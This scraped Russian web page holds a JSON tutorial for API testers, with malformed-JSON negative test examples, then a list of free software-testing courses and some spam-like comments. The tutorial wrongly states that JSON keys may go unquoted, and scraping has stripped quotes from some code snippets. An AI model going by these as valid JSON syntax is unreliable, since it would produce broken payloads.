Ключ это название параметра, который мы передаем серверу. Он служит маркером для принимающей запрос системы: смотри, здесь у меня значение такого-то параметра!. А иначе как система поймет, где что? Ей нужна подсказка!

Вот, например, Виктор Иван это что? Ищем описание параметра query в документации ага, да это же запрос для подсказок!

Это как если бы мы вбили строку Виктор Иван в GUI (графическом интерфейсе пользователя):

Когда пользователь начинает вводить данные в формочку, то сразу видит результат появляется список подсказок. Это значит, что разработчик прописал в коде условие делать некое действие на каждый ввод символа в это поле. Какое действие? Можно увидеть через f12.

Открываем вкладку Network, вбиваем Виктор Иван и находим запрос, который при этом уходит на сервер. Ого, да это тот самый пример, что мы разбираем!

Клиент передает серверу запрос в JSON-формате. Внутри два параметра, две пары ключ-значение:

  • query строка, по которой ищем (то, что пользователь вбил в GUI);

  • count количество подсказок в ответе (в Дадате этот параметр зашит в форму, всегда возвращается 7 подсказок. Но если дергать подсказки напрямую, значение можно менять!)

Пары ключ-значение разделены запятыми:

Строки берем в кавычки, числа нет:

Конечно, внутри может быть не только строка или число. Это может быть и другой объект! Или массив... Или объект в массиве, массив в объекте... Любое количество уровней вложенности =))

Объект, массив, число, булево значение (true / false) если у нас НЕ строка, кавычки не нужны. Но в любом случае это будет значение какого-то ключа:

НЕТ

ДА

{

"a": 1,

{ x:1, y:2 }

}

{

"a": 1,

"inner_object": { "x":1, "y":2 }

}

{

"a": 1,

[2, 3, 4]

}

{

"a": 1,

"inner_array": [2, 3, 4]

}

Переносы строк делать необязательно. Вообще пробелы и переносы строк нужны только человеку для читабельности, система поймет и без них:

Так правильно

Так тоже правильно

{

"query": "Виктор Иван",

"count": 7

}

{ "query":"Виктор Иван", "count":7}

Ключ ВСЕГДА строка, поэтому можно не брать его в кавычки.

Так правильно

Так тоже правильно

{

"query": "Виктор Иван",

"count": 7

}

{

query: "Виктор Иван",

count: 7

}

По крайней мере, если вы работаете с простыми значениями ключей, а несколько слов записываете в верблюжьемРегистре или в змеином_регистре. Если вы хотите написать в ключе несколько слов через пробел, ключ нужно взять в кавычки.

НЕТ

ДА

{

my query: "Виктор Иван"

}

{

"my query": "Виктор Иван"

}

И все же я рекомендую использовать простые названия ключей, или использовать snake_case.

См также:

CamelCase, snake_case и другие регистры подробнее о разных регистрах

Писать ключи можно в любом порядке. Ведь JSON-объект это неупорядоченное множество пар ключ:значение.

Так правильно

Так тоже правильно

{

query: "Виктор Иван",

count: 7

}

{

count: 7,

query: "Виктор Иван"

}

Очень важно это понимать, и тестировать! Принимающая запрос система должна ориентировать на название ключей в запросе, а не на порядок их следования. Ключевое слово должна )) Хотя знаю примеры, когда от перестановки ключей местами всё ломалось, ведь первым должен идти запрос, а не count!.

Ключ или свойство?

Вот у нас есть JSON-объект:

{  "query": "Виктор Иван",  "count": 7}

Что такое query? Если я хочу к нему обратиться, как мне это сказать? Есть 2 варианта, и оба правильные:

Обратиться к свойству объекта;

Получить значение по ключу.

То есть query можно назвать как ключом, так и свойством. А как правильно то?

Правильно и так, и так! Просто есть разные определения объекта:

Объект

В JS объект это именно объект. У которого есть набор свойств и методов:

  • Свойства описывают, ЧТО мы создаем.

  • Методы что объект умеет ДЕЛАТЬ.

То есть если мы хотим создать машину, есть два пути:

  1. Перечислить 10 разных переменных модель, номер, цвет, пробег...

  2. Создать один объект, где будут все эти свойства.

Аналогично с кошечкой, собачкой, другом из записной книжки...

Объектно-ориентированное программирование (ООП) предлагает мыслить не набором переменных, а объектом. Хотя бы потому, что это логичнее. Переменных в коде будет много, как понять, какие из них взаимосвязаны?

Вот если я создаю машину, сколько переменных мне надо заполнить? А если меняю данные? А если удаляю? Когда переменные разбросаны по коду, можно забыть про какую-то и получить ошибку в интерфейсе. А если у нас есть цельный объект, всегда можно посмотреть, какие у него есть свойства и методы.

Например, создадим кошечку:

var cat = {name: Pussy,year: 1,sleep: function() {// sleeping code}}

В объекте cat есть:

  • Свойства name, year (что это за кошечка)

  • Функции sleep (что она умеет делать, описание поведения)

По коду сразу видно, что у кошечки есть имя и возраст, она умеет спать. Если разработчик решит добавить новые свойства или методы, он дополнит этот объект, и снова всё в одном месте.

Если потом нужно будет получить информацию по кошечке, разработчик сделает REST-метод getByID, searchKitty, или какой-то другой. А в нем будет возвращать свойства объекта.

То есть метод вернет

{name: Pussy,year: 1,}

И при использовании имени вполне уместно говорить обратиться к свойству объекта. Это ведь объект (кошечка), и его свойства!

Набор пар ключ:значение

Второе определение объекта неупорядоченное множество пар ключ:значение, заключенное в фигурные скобки {}.

Оно применимо тогда, когда внутри фигурных скобок приходит не конкретный целостный объект, а просто набор полей. Они могут быть связаны между собой, а могут относится к совершенно разным объектам внутри кода:

  • client_fio (в коде это свойство fio объекта client)

  • kitty_name (в коде это свойство name объекта cat)

  • car_model (в коде это свойство model объекта car)

В таком случае логично называть эти параметры именно ключами мы хотим получить значение по ключу.

Но в любом случае, и ключ, и свойство будет правильно. Не пугайтесь, если в одной книге / статье / видео увидели одно, в другой другое... Это просто разные трактовки \_()_/

Итого

Json-объект это неупорядоченное множество пар ключ:значение, заключённое в фигурные скобки { }. Ключ описывается строкой, между ним и значением стоит символ :. Пары ключ-значение отделяются друг от друга запятыми.

Значения ключа могут быть любыми:

  • число

  • строка

  • массив

  • другой объект

  • ...

И только строку мы берем в кавычки!

JSON-массив

Как устроен

Давайте снова начнем с примера. Это массив:

["MALE","FEMALE"]

Массив заключен в квадратные скобки []

Внутри квадратных скобок идет набор значений. Тут нет ключей, как в объекте, поэтому обращаться к массиву можно только по номеру элемента. И поэтому в случае массива менять местами данные внутри нельзя. Это упорядоченное множество значений.

Значения разделены запятыми:

Значения внутри

Внутри массива может быть все, что угодно:

Цифры

[1, 5, 10, 33]

Строки

["MALE","FEMALE"]

Смесь

[1, "Андрюшка", 10, 33]

Объекты

Да, а почему бы и нет:

[1, {a:1, b:2}, "такой вот массивчик"]

Или даже что-то более сложное. Вот пример ответа подсказок из Дадаты:

[        {            "value": "Иванов Виктор",            "unrestricted_value": "Иванов Виктор",            "data": {                "surname": "Иванов",                "name": "Виктор",                "patronymic": null,                "gender": "MALE"            }        },        {            "value": "Иванченко Виктор",            "unrestricted_value": "Иванченко Виктор",            "data": {                "surname": "Иванченко",                "name": "Виктор",                "patronymic": null,                "gender": "MALE"            }        },        {            "value": "Виктор Иванович",            "unrestricted_value": "Виктор Иванович",            "data": {                "surname": null,                "name": "Виктор",                "patronymic": "Иванович",                "gender": "MALE"            }        }]

Система возвращает массив подсказок. Сколько запросили в параметре count, столько и получили. Каждая подсказка объект, внутри которого еще один объект. И это далеко не сама сложная структура! Уровней вложенности может быть сколько угодно массив в массиве, который внутри объекта, который внутри массива, который внутри объекта...

Ну и, конечно, можно и наоборот, передать массив в объекте. Вот пример запроса в подсказки:

{"query": "Виктор Иван","count": 7,"parts": ["NAME", "SURNAME"]}

Это объект (так как в фигурных скобках и внутри набор пар ключ:значение). А значение ключа "parts" это массив элементов!

Итого

Массив это просто набор значений, разделенных запятыми. Находится внутри квадратных скобок [].

А вот внутри него может быть все, что угодно:

  • числа

  • строки

  • другие массивы

  • объекты

  • смесь из всего вышеназванного

JSON vs XML

В SOAP можно применять только XML, там без вариантов.

В REST можно применять как XML, так и JSON. Разработчики отдают предпочтение json-формату, потому что он проще воспринимается и меньше весит. В XML есть лишняя обвязка, название полей повторяется дважды (открывающий и закрывающий тег).

Сравните один и тот же запрос на обновление данных в карточке пользователя:

XML

<req><surname>Иванов</surname><name>Иван</name><patronymic>Иванович</patronymic><birthdate>01.01.1990</birthdate><birthplace>Москва</birthplace><phone>8 926 766 48 48</phone></req>

JSON

{"surname": "Иванов","name": "Иван","patronymic": "Иванович","birthdate": "01.01.1990","birthplace": "Москва","phone": "8 926 766 48 48"}

За счет того, что мы не дублируем название поля каждый раз surname surname, читать JSON проще. И за счет этого же запрос меньше весит, что при плохом интернете бывает важно. Или при большой нагрузке.

См также:

Инфографика REST vs SOAP

Well Formed JSON

Разработчик сам решает, какой JSON будет считаться правильным, а какой нет. Но есть общие правила, которые нельзя нарушать. Наш JSON должен быть well formed, то есть синтаксически корректный.

Чтобы проверить JSON на синтаксис, можно использовать любой JSON Validator (так и гуглите). Я рекомендую сайт w3schools. Там есть сам валидатор + описание типичных ошибок с примерами.

Но учтите, что парсеры внутри кода работают не по википедии или w3schools, а по RFC, стандарту. Так что если хотите изучить каким должен быть JSON, то правильнее открывать RFC и искать там JSON Grammar. Однако простому тестировщику хватит набора типовых правил с w3schools, их и разберем.

Правила well formed JSON:

  1. Данные написаны в виде пар ключ:значение

  2. Данные разделены запятыми

  3. Объект находится внутри фигурных скобок {}

  4. Массив внутри квадратных []

1. Данные написаны в виде пар ключ:значение

Например, так:

"name":"Ольга"

В JSON название ключа нужно брать в кавычки, в JavaScript не обязательно он и так знает, что это строка. Если мы тестируем API, то там будет именно JSON, так что кавычки обычно нужны.

Но учтите, что это правило касается JSON-объекта. Потому что json может быть и числом, и строкой. То есть:

123

Или

"Ольга"

Это тоже корректный json, хоть и не в виде пар ключ:значение.

И вот если у вас по ТЗ именно json-объект на входе, попробуйте его сломать, не передав ключ. Ещё можно не передать значение, но это не совсем негативный тест система может воспринимать это нормально, как пустой ввод.

2. Данные разделены запятыми

Пары ключ:значение в объекте разделяются запятыми. После последней пары запятая не нужна!

Типичная ошибка: поставили запятую в конце объекта:

{  "query": "Виктор Иван",  "count": 7,}

Это последствия копипасты. Взяли пример из документации, подставили в постман (ну или разработчик API подставил в код, который будет вызывать систему), а потом решили поменять поля местами.

В итоге было так:

{  "count": 7,  "query": "Виктор Иван"}

Смотрим на запрос ну, query то важнее чем count, надо поменять их местами! Копипастим всю строку "count": 7,, вставляем ниже. Перед ней запятую добавляем, а лишнюю убрать забываем. По крайней мере у меня это частая ошибка, когда я кручу-верчу, местами поменять хочу.

Другой пример когда мы добавляем в запрос новое поле. Примерный сценарий:

  1. У меня уже есть работающий запрос в Postman-е. Но в нем минимум полей.

  2. Я его клонирую

  3. Копирую из документации нужное мне поле. Оно в примере не последнее, так что идёт с запятой на конце.

  4. Вставляю себе в конце запроса в текущий конец добавляю запятую, потом вставляю новую строку.

  5. Отправляю запрос ой, ошибка! Из копипасты то запятую не убрала!

Я на этот сценарий постоянно напарываюсь при тестировании перестановки полей. А ведь это нужно проверять! Хороший запрос должен быть как в математической присказке: от перемены мест слагаемых сумма не меняется.

Не зря же определение json-объекта гласит, что это неупорядоченное множество пар ключ:значение. Раз неупорядоченное я могу передавать ключи в любом порядке. И сервер должен искать по запросу название ключа, а не обращаться к индексу элемента.

Разработчик, который будет взаимодействовать с API, тоже человек, который может ошибиться. И если система будет выдавать невразумительное сообщение об ошибке, можно долго думать, где конкретно ты налажал. Поэтому ошибки тоже тестируем.

Чтобы протестировать, как система обрабатывает плохой json, замените запятую на точку с запятой:

{  "count": 7;  "query": "Виктор Иван"}

Или добавьте лишнюю запятую в конце запроса эта ошибка будет встречаться чаще!

{  "count": 7,  "query": "Виктор Иван",}

Или пропустите запятую там, где она нужна:

{"count": 7"query": "Виктор Иван"}

Аналогично с массивом. Данные внутри разделяются через запятую. Хотите попробовать сломать? Замените запятую на точку с запятой! Тогда система будет считать, что у вас не 5 значений, а 1 большое:

[1, 2, 3, 4, 5] <!-- корректный массив на 5 элементов -->[1; 2; 3; 4; 5] <!-- некорректный массив, так как такого разделителя быть не должно. Это может быть простой строкой, но тогда нужны кавычки -->!

3. Объект находится внутри фигурных скобок {}

Это объект:

{a: 1, b: 2}

Чтобы сломать это условие, уберите одну фигурную скобку:

{a: 1, b: 2
a: 1, b: 2}

Или попробуйте передать объект как массив:

[ a: 1, b: 2 ]

Ведь если система ждет от вас в запросе объект, то она будет искать фигурные скобки.

4. Массив внутри квадратных []

Это массив:

[1, 2]

Чтобы сломать это условие, уберите одну квадратную скобку:

[1, 2
1, 2]

Или попробуйте передать массив как объект, в фигурных скобках:

{ 1, 2 }

Ведь если система ждет от вас в запросе массив, то она будет искать квадратные скобки.

Итого

JSON (JavaScript Object Notation) текстовый формат обмена данными, основанный на JavaScript. Легко читается человеком и машиной. Часто используется в REST API (чаще, чем XML).

  • JSON-объект неупорядоченное множество пар ключ:значение, заключённое в фигурные скобки { }.

  • Массив упорядоченный набор значений, разделенных запятыми. Находится внутри квадратных скобок [].

  • Число (целое или вещественное).

  • Литералы true (логическое значение истина), false (логическое значение ложь) и null.

  • Строка

При тестировании REST API чаще всего мы будем работать именно с объектами, что в запросе, что в ответе. Массивы тоже будут, но обычно внутри объектов.

Правила well formed JSON:

  1. Данные в объекте написаны в виде пар ключ:значение

  2. Данные в объекте или массиве разделены запятыми

  3. Объект находится внутри фигурных скобок {}

  4. Массив внутри квадратных []

См также:

Introducing JSON

RFC (стандарт)

Что такое XML

PS больше полезных статей ищитев моем блоге по метке полезное. А полезные видео намоем youtube-канале

Подробнее..

Бесплатные образовательные курсы тестирование

26.06.2020 12:10:59 | Автор: admin
image

Ошибки и баги могут возникнуть в любых программах, поэтому тестировщиков нанимают многие крупные компании, которые разрабатывают программное обеспечение. А еще небольшие фирмы, которые предоставляют услуги тестирования на аутсорс. Сегодня мы публикуем подборку из 14 бесплатных курсов по тестированию из нашего раздела Образование. Да, они, скорее, помогут вам получить базовые знания или освежить то, что вы уже и так знали, чем прокачаться до уровня синьора или лида. Но это не умаляет их полезности! Если вы видели что-то интересное, чего нет в этом выпуске делитесь ссылками в комментариях.

QA Start Академия IT

Семь уроков этого курса познакомят вас с методологиями разработки и их влиянием на качество, с фреймворками гибкой разработки, видами, техниками и уровнями тестирования, с тестовой документацией, а также с работой с дефектами ПО.

Пройти курс



Интенсив по тестированию ПО GeekBrains

Сегодня ни один проект не обходится без тестирования будь это сервис, компьютерная игра или интернет-магазин. На этом курсе вас научат различать тестовую документацию, тестировать требования и составлять тест-кейсы, составлять отчеты о дефектах и пользоваться баг-трекинговыми системами.

Поступить



Видеокурс по тестированию ПО Академия IT

Один из стартовых курсов, после прохождения которого вы будете различать типы тестирования ПО, самостоятельно определять и ставить цели тестирования и узнаете, что такое баги и как их репортить. А еще вы попрактикуетесь в создании тест-кейсов и в тестировании веб-приложений.

Пройти курс



Верификация программного обеспечения ИНТУИТ

Программа курса посвящена современным технологиям верификации ПО, применяемыми при промышленной разработке сложных и отказоустойчивых систем. Она охватывает такие темы, как построение тестового окружения, планирование системы тестов, анализ и обнаружение багов, интеграционное и системное тестирование и общие аспекты тестирования интерфейсов.

Пройти обучение



Профессия Инженер по тестированию Яндекс.Практикум

На этом курсе вы освоите тест-дизайн и овладеете инструментами Postman, Charles, Яндекс.Трекер, а также познакомитесь с Javascript и Puppeteer. Обратите внимание, Яндекс.Практикум предлагает бесплатно пройти только вводную часть курса, состоящую из 10 часов теории и 84 заданий. Это поможет определиться, хотите ли вы двигаться дальше в этом направлении.

Пройти вводную часть



Автоматизация тестирования с помощью Selenium и Python Stepik

Это базовый курс для начинающих тестировщиков, на котором вас научат писать автоматизированные UI-тесты на Python с помощью библиотеки Selenium. А еще в программе популярные фреймворки и лучшие практики написания автотестов.

Пройти курс



Software Debugging Udacity

На этом курсе вы узнаете, как дебажить программы и как автоматизировать этот не всегда веселый и захватывающий процесс. А также вас научат создавать кое-какие инструменты автоматической отладки на Python. Курс на английском.

Поступить



Основы тестирования Академия IT

Еще один базовый курс от Академии, на котором вам расскажут о QA, как таковом, и расскажут о тестовых артефактах, жизненном цикле тестирования, типах приложений, клиент-серверной архитектуре и других полезных вещах.

Пройти обучение



Software Testing Udacity

В разработке программного обеспечения разрушение может быть так же ценно, как и созидание. На курсе вас научат ломать любое ПО разными способами, чтобы отыскать в нем баги и уязвимости.

Записаться



Основы тестирования программного обеспечения ИНТУИТ

За 14 с небольшим часов этого курса вы не только получите хорошую теоретическую базу знаний о тестировании ПО, но и потренируетесь в нем, выполняя практические задания. В конце курса предусмотрен экзамен по пройденному материалу, так что готовьте зачетки.

Поступить на курс



Software Testing QA Академия IT

Курс, на котором вас познакомят не столько с QA, сколько с тем, как начать свой путь в этой специальности. Уроки посвящены прохождению собеседований, лайфхакам и советам для новичков, а также разбору структуры QA команд в IT-компаниях.

Пройти обучение



Курсы тестировщиков онлайн Академия IT

Базовый, но от этого не менее полезный курс, который вам пригодится, чтобы получить или освежить знания о тестирование ПО, контроле качества и баг-трекинге.

Записаться



Тестирование ПО: базовый уровень Stepik

Курс ориентирован на начинающих тестировщиков и тех, кто хочет потренироваться перед сдачей сертификационного экзамена. Он основан на официальной программе обучения ISTQB, а все 111 тестов составлены из заданий реальных экзаменов ISTQB Foundation Level.

Пройти обучение



Unit-тестирование С# Академия IT

Более узкоспециальный курс для тех, кто хочет научиться именно юнит-тестированию. За 12 уроков вам расскажут о том, что это вообще такое, какие есть типы юнит-тестирования и о лучших практиках его использования. Ну и, конечно, об инструментах, с которыми вам придется иметь дело, занимаясь этим видом тестирования.

Записаться на курс

Больше бесплатных и платных курсов для тестировщиков, девопсов, разработчиков, дизайнеров и менеджеров в разделе Образование на Хабр карьере.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru